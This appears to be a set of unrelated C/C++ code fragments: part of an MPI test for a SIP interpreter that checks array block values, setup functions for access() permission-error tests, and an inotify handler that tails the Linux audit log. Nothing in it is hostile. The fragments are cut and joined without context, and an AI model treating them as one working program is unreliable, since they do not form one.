setup_reader.sial_prog_list_.at(1); setup::BinaryInputFile siox_file2(siox_dir + prog_name2); sip::SipTables sipTables2(setup_reader, siox_file2); if (sip_mpi_attr.global_rank()==0) { std::cout << "SIP TABLES FOR " << prog_name2 << '\n' << sipTables2 << std::endl; } sip::DataDistribution data_distribution2(sipTables2, sip_mpi_attr); sip::GlobalState::set_program_name(prog_name); sip::GlobalState::increment_program(); std::cout << "rank " << my_rank << " reached second barrier in test" << std::endl << std::flush; MPI_Barrier(MPI_COMM_WORLD); std::cout << "rank " << my_rank << " passed second barrier in test" << std::endl << std::flush; if (sip_mpi_attr.is_server()) { sip::SIPServer server(sipTables2, data_distribution2, sip_mpi_attr, &spam); std::cout << "barrier in prog 2 at server" << std::endl << std::flush; MPI_Barrier(MPI_COMM_WORLD); std::cout<< "rank " << my_rank << "starting server for prog 2" << std::endl; server.run(); std::cout<< "rank " << my_rank << "Server state after termination of prog2" << server << std::endl; } else { sip::SialxTimer sialxTimer2(sipTables2.max_timer_slots()); sip::Interpreter runner(sipTables2, sialxTimer2, &wpam); std::cout << "rank " << my_rank << "barrier in prog 2 at worker" << std::endl << std::flush; MPI_Barrier(MPI_COMM_WORLD); std::cout << "rank " << my_rank << "starting worker for prog2"<< job << std::endl; runner.interpret(); std::cout << "\nSIAL PROGRAM 2 TERMINATED"<< std::endl; // Test contents of blocks of distributed array "b" // Get the data for local array block "b" int b_slot = runner.array_slot(std::string("lb")); // Test b(1,1) sip::index_selector_t b_indices_1; b_indices_1[0] = 1; b_indices_1[1] = 1; for (int i = 2; i < MAX_RANK; i++) b_indices_1[i] = sip::unused_index_value; sip::BlockId b_bid_1(b_slot, b_indices_1); std::cout << b_bid_1 << std::endl; sip::Block::BlockPtr b_bptr_1 = runner.get_block_for_reading(b_bid_1); sip::Block::dataPtr b_data_1 = b_bptr_1->get_data(); std::cout << " Comparing block " << b_bid_1 << std::endl; double fill_seq_1_1 = 1.0; for (int i=0; i<segs[0]; i++) { for (int j=0; j<segs[0]; j++) { ASSERT_DOUBLE_EQ(fill_seq_1_1, b_data_1[i*segs[0] + j]); fill_seq_1_1++; } } // Test b(2, 2) sip::index_selector_t b_indices_2; b_indices_2[0] = 2; b_indices_2[1] = 2; for (int i = 2; i < MAX_RANK; i++) b_indices_2[i] = sip::unused_index_value; sip::BlockId b_bid_2(b_slot, b_indices_2); std::cout << b_bid_2 << std::endl; sip::Block::BlockPtr b_bptr_2 = runner.get_block_for_reading(b_bid_2); sip::Block::dataPtr b_data_2 = b_bptr_2->get_data(); std::cout << " Comparing block " << b_bid_2 << std::endl; double fill_seq_2_2 = 4.0; for (int i=0; i<segs[1]; i++) { for (int j=0; j<segs[1]; j++) { ASSERT_DOUBLE_EQ(fill_seq_2_2, b_data_2[i*segs[1] + j]); fill_seq_2_2++; } } // Test b(2,1) sip::index_selector_t b_indices_3; b_indices_3[0] = 2; b_indices_3[1] = 1; for (int i = 2; i < MAX_RANK; i++) b_indices_3[i] = sip::unused_index_value; sip::BlockId b_bid_3(b_slot, b_indices_3); std::cout << b_bid_3 << std::endl; sip::Block::BlockPtr b_bptr_3 = runner.get_block_for_reading(b_bid_3); sip::Block::dataPtr b_data_3 = b_bptr_3->get_data(); std::cout << " Comparing block " << b_bid_3 << std::endl; double fill_seq_2_1 = 3.0; for (int i=0; i<segs[1]; i++) { for (int j=0; j<segs[0]; j++) { ASSERT_DOUBLE_EQ(fill_seq_2_1, b_data_3[i*segs[0] + j]); fill_seq_2_1++; } } } std::cout << "rank " << my_rank << " reached third barrier in test" << std::endl << std::flush; MPI_Barrier(MPI_COMM_WORLD); std::cout << "rank " << my_rank << " passed third barrier in test" << std::endl << std::flush; }
/* * setup4() - Setup function to test access() for return value -1 * and errno EINVAL when specified access mode argument is * invalid. * * Creat/open a testfile and close it. * This function returns 0. */ void setup4() { setup_file(TEST_FILE4, FILE_MODE); }
/* * setup3() - Setup function to test access() for return value -1 and * errno EACCES when execute access denied on testfile. * * Creat/open a testfile and close it. * Deny search access permissions on testfile. * This function returns 0. */ void setup3() { setup_file(TEST_FILE3, 0666); }
/* * setup2() - Setup function to test access() for return value -1 and * errno EACCES when write access denied on testfile. * * Creat/open a testfile and close it. * Deny write access permissions on testfile. * This function returns 0. */ void setup2() { setup_file(TEST_FILE2, 0555); }
/* * setup1() - Setup function to test access() for return value -1 * and errno EACCES when read access denied for specified * testfile. * * Creat/open a testfile and close it. * Deny read access permissions on testfile. * This function returns 0. */ void setup1() { setup_file(TEST_FILE1, 0333); }
static int handle_inotify_event(struct inotify_event *inev, struct file_struct *f) { int ret = 0; if (inev->mask & IN_MODIFY) { char *fbuf; ssize_t rc; struct stat finfo; if (verbose) write_header(f->name); /* Seek to old file size */ if (lseek(f->fd, f->size, SEEK_SET) == (off_t) -1) { fprintf(stderr, "Error: Could not seek in file '%s' (%s)\n", f->name, strerror(errno)); ret = -1; goto ignore; } fbuf = emalloc(f->blksize); while ((rc = read(f->fd, fbuf, f->blksize)) != 0) { auparse_feed(au,fbuf, rc); } if (fstat(f->fd, &finfo) < 0) { fprintf(stderr, "Error: Could not stat file '%s' (%s)\n", f->name, strerror(errno)); ret = -1; free(fbuf); goto ignore; } f->size = finfo.st_size; free(fbuf); return ret; } else if (inev->mask & IN_DELETE_SELF) { fprintf(stderr, "File '%s' deleted.\n", f->name); } else if (inev->mask & IN_MOVE_SELF) { fprintf(stderr, "File '%s' moved.\n", f->name); // SCOTT close(f->fd); free(files); struct file_struct *new_files = NULL; new_files = emalloc( sizeof(struct file_struct) ); new_files[0].name = "/var/log/audit/audit.log"; setup_file(&new_files[0]); // Take a sec here to let the new file get // set up by the OS - there are problems with this // asking just a bit too soon. sleep(1); tail_file(new_files, DEFAULT_N_LINES, M_LINES, 1); watch_files(new_files, 1); return 0; } else if (inev->mask & IN_UNMOUNT) { fprintf(stderr, "Device containing file '%s' unmounted.\n", f->name); } ignore: ignore_file(f); return ret; }